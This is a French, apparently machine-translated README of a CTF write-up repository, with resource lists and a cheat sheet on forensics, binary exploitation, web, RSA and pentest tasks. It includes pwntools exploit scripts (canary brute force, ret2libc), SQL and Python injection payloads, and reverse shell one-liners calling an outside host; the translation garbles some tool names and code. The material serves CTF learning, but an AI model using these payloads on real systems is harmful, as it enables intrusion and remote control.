Un guide de maîtrise sur la sécurité de l'apprentissage
Rédactions/fichiers pour certains des Cyber CTF que j'ai réalisés
J'ai également inclus une liste de ressources CTF ainsi qu'un aide-mémoire complet couvrant des tonnes de défis courants du CTF.
Note
Il existe maintenant un miroir Web de ce dépôt sur hackback.zip
Table des matières
Ressources
- YouTube (nous aimons les ressources vidéo)
- Sites de pratique/apprentissage
- CTF
- Général
- Pwn
- Tour
- Web
- Cryptomonnaie
- Contrats intelligents
- Nuage
- Test de pente
Aide-mémoire de la FCDQ
- Médecine légale / Stéganographie
- Général
- Audio
- Image
- Vidéo
- Image de la machine
- Pcap
- Pwn / Exploitation binaire
- Général
- Débordement de tampon
- PIE (Exécution Indépendante Positionnelle)
- NX (non exécutable)
- ROP (pour les binaires compilés statiquement)
- Pile Canari
- Vulnérabilités de chaîne de formatage
- Shellcode
- Retour à Libc
- Ingénierie inverse
- Solveurs SMT
- Inverser les vérifications octet par octet
- Recherche de chaînes avec gef
- Web
- Fuzzing des champs de saisie
- Cryptomonnaie
CyberChef
Chiffres communs
RSA
- Récupérez les informations RSA avec pycryptodome
- Théorème des restes chinois (p,q,e,c)
- Attaque de chaudronnier (c,e)
- Attaque des Pollards (n,e,c)
- Attaque Wiener (n,e,c)
Base16, 32, 36, 58, 64, 85, 91, 92
- Boîte
- De liaison
- Énumération
- Élévation de privilèges
- Écoutez le shell inversé
- Coque inversée
- Obtenez un shell interactif
- OSINT
- Divers
Ressources
Chaînes YouTube
- John Hammond
- J'avais l'habitude de faire beaucoup de vidéos CTF, mais je suis passé à autre chose
- Encore une tonne de vidéos utiles. Ceux du CTF sont particulièrement formidables pour enseigner aux personnes qui découvrent le cyber.
- Débordement en direct
- Réalise des vidéos extrêmement intéressantes et approfondies sur la cybersécurité.
- A une incroyable série de pwn
- IppSec
- Rédige des rapports sur chaque machine HackTheBox
- Parle des différentes façons de résoudre et pourquoi les choses fonctionnent. Je le recommande vivement
- Informaticien
- Les mêmes personnes que Numberphile, mais plus cool. Crée des vidéos vraiment intuitives et de niveau débutant sur les concepts de base.
- pwn.college
- Professeur de l'ASU qui a des tonnes de vidéos sur pwn
- Matériel de cours guidé : https://pwn.college/
- Des tonnes de problèmes de pratique : https://dojo.pwn.college/
- PwnFonction
- Vidéos animées de très haute qualité et faciles à comprendre sur des sujets différents
- Les sujets sont un peu avancés, mais facilement compréhensibles
- Martin Carlisle
- Réalise d'incroyables vidéos de rédaction sur les défis picoCTF.
- Sam Bowne
- Professeur du CCSF qui ouvre les sources de tous ses cours et supports de cours sur son site Internet
- UFSIT
- Équipe UF Cyber (je suis un peu partial, mais c'est certainement l'une des meilleures chaînes YouTube pour cela)
- Gynvael
- Crée des rédactions vidéo incroyablement intuitives. A fait l'intégralité de picoCTF 2019 (c'est beaucoup)
- Sécurité des informations des Black Hills
- Entreprise de sécurité qui crée une tonne de contenu éducatif
- Je propose toujours des cours et des webémissions gratuits sur des sujets de sécurité.
- écrasement de piles
- Vidéos étonnantes de rétro-ingénierie et de piratage matériel
- A une série vraiment cool de lui en matière d'ingénierie inverse WannaCry
- Ben Greenberg
- Prof GMU avec un tas de didacticiels vidéo sur les pwn et les logiciels malveillants
- Un peu démodé mais toujours bon
- InfoSecLab à Georgia Tech
- Cours approfondis bons et avancés sur pwn
- Nécessite quelques connaissances de base
- RPISEC
- Réunions d’équipe de l’Université RPI
- Très avancé et nécessite un peu de connaissances de base en CS
- Marron Mat
- Pentester de sécurité embarqué
- Crée d'excellentes vidéos adaptées aux débutants sur le piratage IoT
Pourparlers
Voici quelques diapositives que j'ai rassemblées : hackback.zip/presentations
Sites de pratique/apprentissage
CTF
- PicoCTF
- Des tonnes de défis pratiques incroyables.
- Certainement la référence pour commencer
- UCF
- Bon dans l'ensemble, mais bonne pratique du pwn
- Je travaille actuellement à mettre des articles ici
- hacker101
- CTF, mais légèrement plus orienté vers le pentesting
- CSAW
- En panne 90 % du temps et généralement aucune des connexions ne fonctionne
- Si c'est le cas, il comporte de nombreux bons défis d'introduction.
- CTF101
- Une des meilleures introductions aux CTF que j'ai vues (gj osiris)
- Très succinct et adapté aux débutants
Général
- HackLaBox
- Le site de la box OG
- Les boîtes sont organisées pour garantir la qualité
- A maintenant quelques problèmes de style CTF
- Propose désormais des cours pour commencer à apprendre
- EssayezHackMe
- Des boîtes légèrement plus simples que HackTheBox
- Des défis étape par étape
- Propose désormais des « parcours d'apprentissage » pour vous guider à travers les sujets
- Laboratoires Cybersec
- Superbe collection de coffrets
- A des trucs CTF
- VulnHub
- Possède des machines virtuelles vulnérables que vous devez déployer vous-même
- Beaucoup de variété, mais difficile d'en trouver de bons à mon avis
Pwn
- pwnable.kr
- Des défis avec une bonne gamme de difficulté
- pwnable.tw
- Plus difficile que pwnable.kr
- A des articles une fois que vous avez résolu le défi
- pwnable.xyz
- Plus de défis pwn
- A des articles une fois que vous avez résolu le défi
- Vous pouvez télécharger vos propres défis une fois que vous les avez tous résolus
- dojo pwn
- Meilleure collection de défis pwn à mon avis
- Sauvegarde avec des diapositives expliquant comment le faire et dispose d'une discorde si vous avez besoin d'aide
- cauchemar
- L'étalon-or pour le pwning des binaires C
- A quelques erreurs/fautes de frappe, mais incroyable dans l'ensemble
- notes pwn
- Notes d'une personne aléatoire en ligne
- Très superficiel, mais bonne introduction à tout
- École d'été sur la sécurité
- Cours de sécurité de l'Université de Bucarest
- Explications très adaptées aux débutants
- RPISEC MBE
- Cours d'exploitation binaire moderne de RPI
- Possède un bon nombre de laboratoires/projets pour la pratique et quelques conférences (légèrement datées)
- comment2heap
- Série Heap Exploitation réalisée par l'équipe CTF d'ASU
- Inclut une fonctionnalité de débogage très intéressante pour montrer comment fonctionnent les exploits
- CORDE Emporium
- Ensemble de défis dans chaque architecture majeure enseignant la programmation orientée retour
- Très haute qualité. Enseigne les techniques les plus élémentaires aux plus avancées.
- J'ajoute actuellement mes propres articles ici
- Éducation sur les exploits Phoenix
- Des tonnes de problèmes d'exploitation binaire classés par difficulté
- Inclut la source et est livré avec une VM contenant tous les binaires.
Tour
- défis.re
- Tant de défis 0_0
- Des tonnes de diversité
- inversion.kr
- crackmes.un
- Des tonnes de défis de style crackme (CTF)
- Ateliers Licorne sur les logiciels malveillants
- Ateliers gratuits sur l'ingénierie inverse et l'analyse des logiciels malveillants
Web
- websec.fr
- De nombreux défis Web avec une bonne gamme de difficultés
- webhacking.kr
- Possède des archives de nombreux bons défis Web
- Sécuriser les applications Web
- Magasin de jus OWASP
- Très orienté vers le pentesting, mais utile pour explorer le Web dans les CTF
- Plus de 100 vulnérabilités/défis au total
- PortSwigger
- La référence en matière de compréhension du piratage Web
- Des tonnes de défis et d'explications incroyables
- DVWA
- Très orienté vers le pentesting, mais utile pour explorer le Web dans les CTF
- bWAPP
- Très orienté vers le pentesting, mais utile pour explorer le Web dans les CTF
- Défi FCT
- Collection de défis Web réalisés par Adam Langley et conçus pour être aussi réalistes que possible.
- Idéal pour bénéficier d'une expérience de bug bounty
Cryptomonnaie
- CryptoHack
- Je travaille actuellement à mettre des articles ici
- cryptopales
- Le site de défi crypto OG.
- CryptoCTF
- CTF annuel de cryptographie. Années précédentes accessibles sur
20{19,20,21,22,23,24}.cr.yp.toc.tf
.
Contrats intelligents
Nuage
- CloudFoxable
- Vous guide dans la configuration d'un environnement vulnérable à exploiter à l'aide de cloudfox
- défauts.cloud
- Des défis gratuits qui impliquent de trouver des secrets dans S3, EC2 et Lambda
Test de pente
- hacker101
- hacksplaining
- Développement d’exploits
- Introduction à la sécurité
- Cours UC San Diego dispensé par Deian Stefan
- Couvre les pwn et crypto de base
- Aide-mémoire Active Directory
- WADComs
- Aide-mémoire interactif pour les environnements Windows/AD
- LOLBAS
- Aide-mémoire interactif pour Windows, binaires, scripts et bibliothèques « Vivre de la terre » pour exploitation
- GTFOBins
- Aide-mémoire interactif pour les techniques Linux "Vivre de la terre".
Aide-mémoire de la FCDQ
Médecine légale / Stéganographie
Général
- AperiSolve
- Outil qui exécute automatiquement d'autres outils Stego
- Très bonne ressource de John Hammond pour différents types de défis :
- https://github.com/JohnHammond/ctf-katana
- Une autre très bonne aide-mémoire pour créer et résoudre des défis :
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- déposer
-
file <file.xyz>
- Détermine le type de fichier
- cuir de steghide
-
steghide extract -sf <file.xyz>
- Extrait les fichiers intégrés
- recherche de steg
-
stegseek <file> <password list>
- Extrait les fichiers intégrés à l'aide d'une liste de mots
- super super rapide
- marche des poubelles
-
binwalk -M --dd=".*" <file.xyz>
- Extrait les fichiers intégrés
- exiftool
-
exiftool <file.xyz>
- Lit les métadonnées
- cordes
-
strings <file.xyz>
- Recherche tous les caractères imprimables dans un fichier
- hexadécimal
-
hexedit <file.xyz>
- Vous devrez peut-être modifier la signature du fichier sur certaines images pour qu'elles s'ouvrent
- Liste des signatures de fichiers courantes
- Ghex (un autre éditeur hexadécimal mais avec une interface graphique. Bon si vous avez besoin de passer à un certain octet)
- les fichiers docx sont des conteneurs, vous pouvez donc les décompresser pour trouver du contenu caché
- Grep - Un bon moyen d'utiliser grep pour trouver le drapeau de manière récursive :
-
grep -r --text 'picoCTF{.*}'
-
egrep -r --text 'picoCTF{.*?}
- Vous pouvez remplacer 'picoCTF' par le début du drapeau que vous recherchez
- Ltrace - Vous permet de voir ce que fait le code lorsque vous exécutez le programme :
-
ltrace ./<file>
-
ltrace -s 100 ./<file>
- Ltrace raccourcit les chaînes très longues. Vous pouvez utiliser -s pour augmenter le nombre de caractères affichés par ltrace. Idéal lorsque l'on regarde des strcmp comportant de grandes chaînes.
Audio
Audio du télécopieur :
Audio SSTV (télévision à balayage lent) (trucs lunaires)
- Exemple
- Décodeur
- Décodeur alternatif
- Utilisez ces paramètres qsstv :
Image du spectrogramme
Changer de pitch, de vitesse, de direction...
- Hauteur, vitesse, réglage
- Inverse
Touches du téléphone DTMF (double tonalité et fréquence multiple)
-
multimon-ng -a DTMF -t wav <file.wav>
- Gardez à l’esprit que cela pourrait me permettre d’appuyer plusieurs fois sur des lettres.
- Cela peut décoder les nombres en texte
Cassette
- Exemple
- Décodeur (wav pour exploiter les fichiers)
Code Morse
Image
Vidéo
Image de la machine
- Récupération de fichiers
- Vous pouvez monter une image en tant que machine virtuelle
- https://habr.com/en/post/444940/
- Montez un fichier
.img
:-
binwalk -M --dd=".*" <fileName>
- exécutez
file
en sortie et sélectionnez le fichier du système de fichiers Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
Pcap
- Extraire des données avec TCPflow
- Extraire des données avec Wireshark
- Fichier → Exporter des objets → Effectuer une sélection
Pwn / Exploitation binaire
- Pour celui-ci, je suggère plutôt de consulter mon dépôt LearnPwn, car cette aide-mémoire a été réalisée avant que j'en sache beaucoup sur pwn.
- Cependant, j'ai inclus quelques notes modifiant ce que j'ai ici.
Général
- vérifier la sécurité d'ELF
-
checksec <binary>
-
rabin2 -I <binary>
- vérifier la sécurité du PE
- contrôle de sécurité binaire
-
binary-security-check <bin>.exe
- vérifier seccomp bpf
- outils seccomp
-
seccomp-tools dump ./<binary>
- regarde les symboles
- regarde les cordes
- emballer l'adresse en octet
- little endian (pour 32 bits)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (pour 64 bits)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools regroupe automatiquement les adresses avec la bonne endianité pour vous
Débordement de tampon
- Si jamais vous avez besoin d'obtenir un shell /bin/sh et que vous êtes sûr qu'il fonctionne mais que le programme se termine quand même, utilisez cette astuce :
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program>
- pwntools le fait avec son
process.interactive()
PIE (Exécution Indépendante Positionnelle)
- déterminer une valeur aléatoire
-
pwn cyclic <numChars>
pour générer la charge utile -
dmesg | tail | grep segfault
pour voir où se trouvait l'erreur -
pwn cyclic -l 0x<errorLocation>
pour voir le décalage aléatoire pour contrôler le pointeur d'instruction - exemple
NX (non exécutable)
- Nous pouvons utiliser ROP (programmation orientée retour) pour résoudre
ROP (pour les binaires compilés statiquement)
- ROPGadget
- afficher les gadgets et générer automatiquement des ropchains
-
ROPgadget --ropchain --binary <binary>
- Vous pouvez ensuite ajouter un remplissage au début du code (en fonction de la différence entre votre tampon et votre adresse de retour) et exécuter le code pour obtenir un shell.
- Démo
- ropr
Pile Canari
Trouver le canari de pile dans un débogueur
- Stack Canary est une valeur placée avant l'EIP/RIP (pointeur d'instruction) qui peut être écrasée par un débordement de tampon. Le programme provoque une erreur essentiellement si la pile est écrasée par quelque chose de différent de ce qu'elle était à l'origine. Notre objectif est de retrouver la pile d'origine afin que lorsque nous débordons, le programme s'exécute normalement.
- Le canari de pile est extrait de
gs
ou fs
(pour 32 et 64 bits respectivement)- Lors du démontage, avant que quelque chose ne soit lu, vous pouvez voir une ligne semblable à la suivante :
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Ici, le canari de pile est déplacé vers
rax
au décalage +8.- Ainsi, faites une pause au prochain décalage et vérifiez ce qu'il y a dans rax (
ir rax
) pour voir quel est le canari actuel
Canaris statiques
- Un canari n'est statique que s'il a été implémenté manuellement par le programmeur (ce qui est le cas dans certains défis d'introduction), ou si vous êtes capable de duper le programme.
- Lorsque vous forkez le binaire, celui-ci a le même canari, vous pouvez donc effectuer une force brute octet par octet sur celui-ci.
Supplémentaire
Lorsqu'un canari de pile est incorrectement écrasé, cela provoquera un appel à __stack_chk_fail
- Si nous ne pouvons pas divulguer le canari, nous pouvons également modifier la table GOT pour empêcher son appel
Le canari est stocké dans la structure TLS
de la pile actuelle et est initialisé par security_init
- Si vous pouvez écraser la valeur réelle du Canari, vous pouvez la définir égale à ce que vous décidez de déborder.
Script simple pour forcer brutalement un canari statique de 4 octets :
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )
Vulnérabilités de chaîne de formatage
- Regardez le tableau 2 pour savoir ce qu'il faut essayer si vous voyez « printf(buf) » ou quelque chose comme ça :
- https://owasp.org/www-community/attacks/Format_string_attack
- Je recommande vivement de regarder John Hammond relever le défi "echooo" du picoCTF 2018.
- Parfois, essayer d'imprimer uniquement les chaînes de la pile comme ceci : '%s %s %s %s %s %s' peut provoquer des erreurs puisque tout ce qui se trouve dans la pile n'est pas une chaîne.
- Essayez de minimiser cela en faisant '%x %x %x %x %x %s' à la place
- Au lieu d'avoir à augmenter constamment le nombre de %x et %s que vous tapez, vous pouvez passer un paramètre pour faciliter les choses :
-
%1$s
- Cela imprimera la première valeur de la pile (d'après ce que j'ai compris, celle juste à côté de votre tampon) sous forme de chaîne. -
%2$s
- Cela imprimera la 2ème valeur sous forme de chaîne, et vous voyez l'idée - Vous pouvez utiliser des boucles à une seule ligne pour essayer de trouver le drapeau en divulguant la pile. Appuyez sur ^C (CTRL + C) pour passer à la valeur suivante.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Vous pouvez contrôler la quantité de fuite en utilisant différents paramètres de taille :
-
%hhx
perd 1 octet (la moitié de la moitié de la taille int) -
%hx
perd 2 octets (la moitié de la taille int) -
%x
perd 4 octets (taille int) -
%lx
perd 8 octets (taille longue)
- très bonne vidéo sur la modification de la pile avec la vulnérabilité fstring et %n :
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
Shellcode
- Bon site pour trouver différents shellcodes :
- http://shell-storm.org/shellcode/
Retour à Libc
Nous allons écraser l'EIP pour appeler la fonction de la bibliothèque system() et nous passerons également ce qu'elle doit exécuter, dans cet exemple un tampon avec "/bin/sh".
Bonne explication :
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Bon exemple (allez à 3:22:44) :
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Obtenir l'adresse de execve("/bin/sh")
Si vous connaissez déjà le fichier libc et un emplacement (c'est-à-dire que vous n'avez pas besoin de les divulguer...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()
Ingénierie inverse
Guide sympa : https://opensource.com/article/20/4/linux-binary-analysis
- Ghidra
- dotPeek ou dnSpy
- décompiler les exécutables .NET
- jadx et jadx-gui
- zone d'outils de développement
- Fleur de courtepointe
- Décompilateur Java avancé basé sur un terminal
- outil apk
- décompiler les apks
-
apktool d *.apk
- gdb
- Analyse binaire
- peda (extension pour une fonctionnalité accrue)
- gef (extension gdb pour les utilisateurs)
- radare2
- SOIE
-
strings
sous stéroïdes. Utilise l'analyse statique pour rechercher et calculer des chaînes
Solveurs SMT
Inversion des contrôles octet par octet (attaque par canal secondaire)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Voici une version que j'ai réalisée pour un défi qui utilise une attaque basée sur le temps :
- Vous devrez peut-être l'exécuter plusieurs fois juste pour tenir compte du caractère aléatoire
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()
Recherche de chaînes avec gef
- Si votre indicateur est lu dans une variable ou enregistré à tout moment, vous pouvez l'interrompre après son déplacement et exécuter
grep <string>
et gef vous montrera automatiquement la chaîne qui correspond à votre modèle de recherche.
Web
- Nikto (si autorisé)
- recherche automatiquement les vulnérabilités
- gobuster (si autorisé)
- Répertoires et fichiers des forces brutes
- hydre (si autorisé)
- Brute force les connexions pour divers services
- BurpSuite
- Intercepte les requêtes Web et vous permet de les modifier
- Requin filaire
- Analyser le trafic réseau en direct et les fichiers pcap
- shell inversé php
- Utile pour les sites Web qui vous permettent de télécharger des fichiers
- Ce fichier doit être exécuté sur le serveur pour fonctionner
- WPScan
- Analyser les sites WordPress
- Utilisez
wpscan --url <site> --plugins-detection mixed -e
avec une clé API pour de meilleurs résultats
- jwt
- Vous pouvez identifier un jeton JWT puisque le json encodé en base64 (et donc les jetons jwt) commence par "ey"
- Ce site décodera les jetons Web JSON
- Vous pouvez percer le secret du jeton Web JSON pour modifier et signer vos propres jetons
-
echo <token> > jwt.txt
-
john jwt.txt
- Injection SQL
- carte SQL
-
sqlmap --forms --dump-all -u <url>
- Automatise le processus d'injection SQL
- Injection SQL de base
- Entrez
'OR 1=1--
dans le formulaire de connexion - Sur le serveur, cela sera évalué à
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = ''
-
1=1
est évalué à vrai, ce qui satisfait l'instruction OR
, et le reste de la requête est commenté par --
- Charges utilesAllTheThings
- Excellente ressource pour l'exploitation Web avec de nombreuses charges utiles
- Injection de modèle
- tplmap
- Injection automatisée de modèles côté serveur
- Jinja Injection
- Injection en flacon
- Fonction Python eval()
-
__import__.('subprocess').getoutput('<command>')
- assurez-vous de changer les parenthèses si cela ne fonctionne pas
-
__import__.('subprocess').getoutput('ls').split('\n')
- lister les fichiers dans le système
- Plus d'injection Python
- Scripts intersites
- Évaluateur CSP
- Évaluateur de la politique de sécurité du contenu de Google
Fuzzing des champs de saisie
- FFUF
- Copiez la requête dans le champ de saisie et remplacez le paramètre par "FUZZ" :
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
- Utilisez
-fs
pour filtrer les tailles
Cryptomonnaie
CyberChef
- CyberChef
- Réalise diverses opérations de cryptographie
Détecteur de chiffrement
Hachages
- haschid
- Utilitaire de ligne de commande pour détecter le type de hachage
Chiffres communs
- Chiffre de César
- Chiffre de Vigenère
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )
- Chiffre de substitution
- Pourriture13
- Chiffre de César à clé
RSA
Récupérez les informations RSA avec pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e
Théorème des restes chinois (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' ))
#!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
- Site Web qui donne les facteurs et le total d'Euler (phi)
- https://www.alpertron.com.ar/ECM.HTM
Attaque de chaudronnier (c,e)
- Habituellement utilisé si l'exposant est très petit (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))
Attaque des Pollards (n,e,c)
- Basé sur la méthode de factorisation de Pollard, qui rend les produits de nombres premiers faciles à factoriser s'ils sont (B) lisses
- C'est le cas si
p-1 | B!
et q - 1
a un facteur > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )
Attaque Wiener (n,e,c)
- À utiliser lorsque d est trop petit (ou e est trop grand)
- Utiliser ce module python
- Preuve
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Base16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Boîte
De liaison
- chut
-
ssh <username>@<ip>
-
ssh <username>@<ip> -i <private key file>
- Montez SSH en tant que système de fichiers localement :
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Hôtes connus
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- chat net
Énumération
Élévation de privilèges
- pois lin
-
./linpeas.sh
- Recherche automatiquement les vecteurs d'élévation de privilèges
- Liste les commandes que nous pouvons exécuter en tant que root
- Rechercher des fichiers avec l'autorisation SUID
-
find / -perm -u=s -type f 2>/dev/null
- Ces fichiers s'exécutent avec les privilèges du propriétaire au lieu que l'utilisateur les exécute
- Rechercher des autorisations pour tous les services
-
accesschk.exe -uwcqv *
- Recherchez les services qui ne se trouvent pas sous les comptes système ou administrateur
- Service de requête
-
sc qc <service name>
- Fonctionne uniquement dans cmd.exe
Écoutez le shell inversé
Coque inversée
- revshells.com
- des modèles pour pratiquement tout ce dont vous pourriez avoir besoin
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
-
nc -e /bin/sh <ip> <port>
-
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Obtenez un shell interactif
Linux
- Exécutez la commande python suivante pour la rendre partiellement interactive :
python -c 'import pty;pty.spawn("/bin/bash");'
- Quittez la session netcat avec
CTRL+Z
et exécutez stty raw -echo
localement - Rentrez votre session avec la commande
fg
(et l'identifiant du travail ensuite si nécessaire) - Changez votre émulateur de terminal en xterm en exécutant
export TERM=xterm
(cela n'est peut-être pas nécessaire) - Changez votre shell en bash en exécutant
export SHELL=bash
(cela n'est peut-être pas nécessaire) - Fait! Maintenant, votre shell devrait être entièrement interactif
Windows / Général
- Installez
rlwrap
sur votre système - Maintenant, chaque fois que vous exécutez un écouteur nc, mettez simplement
rlwrap
devant - Par exemple :
rlwrap nc -lvnp 1337
- Cela vous donnera les touches fléchées et l'historique des commandes, mais ne donnera pas la saisie semi-automatique (pour autant que je sache) pour les systèmes Windows et * nix.
OSINT
- piment
- Recherche inversée de visages sur Internet
- Cadre OSINT
- Site Web qui regroupe des tonnes d'outils OSINT
- IA GeoSpy
- LLM de vision géospatiale qui peut estimer l'emplacement simplement à partir d'une image
- viaduc turbo
- Site Web qui vous permet d'interroger l'API OpenStreetMap et de visualiser les résultats
- Recherche Bellingcat OSM
- Site Web qui vous permet d'interroger facilement l'API OSM
Divers